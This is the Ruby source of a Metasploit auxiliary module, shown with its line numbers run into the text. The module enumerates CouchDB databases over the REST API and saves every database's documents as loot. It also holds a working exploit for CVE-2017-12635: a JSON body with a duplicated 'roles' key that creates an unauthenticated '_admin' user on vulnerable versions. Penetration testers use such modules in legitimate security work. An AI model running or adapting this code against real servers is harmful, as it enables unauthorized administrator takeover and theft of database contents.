Path: blob/master/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
19582 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'CouchDB Enum Utility',14'Description' => %q{15This module enumerates databases on CouchDB using the REST API16(without authentication by default).17},18'References' => [19['CVE', '2017-12635'],20['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],21['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']22],23'Author' => [24'Max Justicz', # Vulnerability discovery25'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module26'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements27'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used28],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options(39[40Opt::RPORT(5984),41OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),42OptBool.new('SERVERINFO', [true, 'Print server info', false]),43OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),44OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),45OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),46OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])47]48)49end5051def valid_response(res)52return res.code == 200 && res.headers['Server'].include?('CouchDB')53end5455def get_version56@version = nil5758begin59res = send_request_cgi(60'uri' => '/',61'method' => 'GET'62)63rescue Rex::ConnectionError64vprint_bad("#{peer} - Connection failed")65return false66end6768unless res69vprint_bad("#{peer} - No response, check if it is CouchDB.")70return false71end7273if res && res.code == 40174print_bad("#{peer} - Authentication required.")75return false76end7778if res && res.code == 20079res_json = res.get_json_document8081if res_json.empty?82vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")83return false84end8586@version = res_json['version'] if res_json['version']87return true88end8990vprint_warning("#{peer} - Version not found")91true92end9394def check95return Exploit::CheckCode::Unknown unless get_version9697version = Rex::Version.new(@version)98return Exploit::CheckCode::Unknown if version.version.empty?99100vprint_good("#{peer} - Found CouchDB version #{version}")101102return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))103104Exploit::CheckCode::Safe105end106107def get_dbs(auth)108begin109res = send_request_cgi(110'uri' => normalize_uri(target_uri.path),111'method' => 'GET'112)113114temp = JSON.parse(res.body)115rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e116print_error("#{peer} - The following error was encountered: #{e.class}")117return118end119120unless valid_response(res)121print_error("#{peer} - Unable to enum, received \"#{res.code}\"")122return123end124125print_status("#{peer} - Enumerating Databases...")126results = JSON.pretty_generate(temp)127print_good("#{peer} - Databases:\n\n#{results}\n")128path = store_loot(129'couchdb.enum',130'application/json',131rhost,132results,133'CouchDB Databases'134)135136print_good("#{peer} - File saved in: #{path}")137res.get_json_document.each do |db|138r = send_request_cgi(139'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),140'method' => 'GET',141'authorization' => auth,142'vars_get' => { 'include_docs' => 'true', 'attachments' => 'true' }143)144145if r.code != 200146print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")147break148end149150temp = JSON.parse(r.body)151results = JSON.pretty_generate(temp)152path = store_loot(153"couchdb.#{db}",154'application/json',155rhost,156results,157'CouchDB Databases'158)159print_good("#{peer} - #{db} saved in: #{path}")160end161end162163def get_server_info(_auth)164res = send_request_cgi(165'uri' => '/',166'method' => 'GET'167)168169temp = JSON.parse(res.body)170171unless valid_response(res)172print_error("#{peer} - Unable to enum, received \"#{res.code}\"")173return174end175176# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}177178print_good("#{peer} - #{JSON.pretty_generate(temp)}")179report_service(180host: rhost,181port: rport,182name: 'couchdb',183proto: 'tcp',184info: res.body185)186rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e187print_error("#{peer} - The following error was encountered: #{e.class}")188end189190def create_user191username = datastore['HttpUsername']192password = datastore['HttpPassword']193roles = datastore['ROLES']194timeout = datastore['TIMEOUT']195196data = %({197"type": "user",198"name": "#{username}",199"roles": ["#{roles}"],200"roles": [],201"password": "#{password}"202})203res = send_request_cgi(204{205'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username206'method' => 'PUT',207'ctype' => 'text/json',208'data' => data209}, timeout210)211212unless res && res.code == 200213print_error("#{peer} - Change Failed")214return215end216217print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")218end219220def run221username = datastore['HttpUsername']222password = datastore['HttpPassword']223224if datastore['CREATEUSER']225fail_with(Failure::Unknown, 'get_version failed in run') unless get_version226version = Rex::Version.new(@version)227print_good("#{peer} - Found CouchDB version #{version}")228create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))229end230231auth = basic_auth(username, password) if username && password232get_server_info(auth) if datastore['SERVERINFO']233get_dbs(auth)234end235end236237238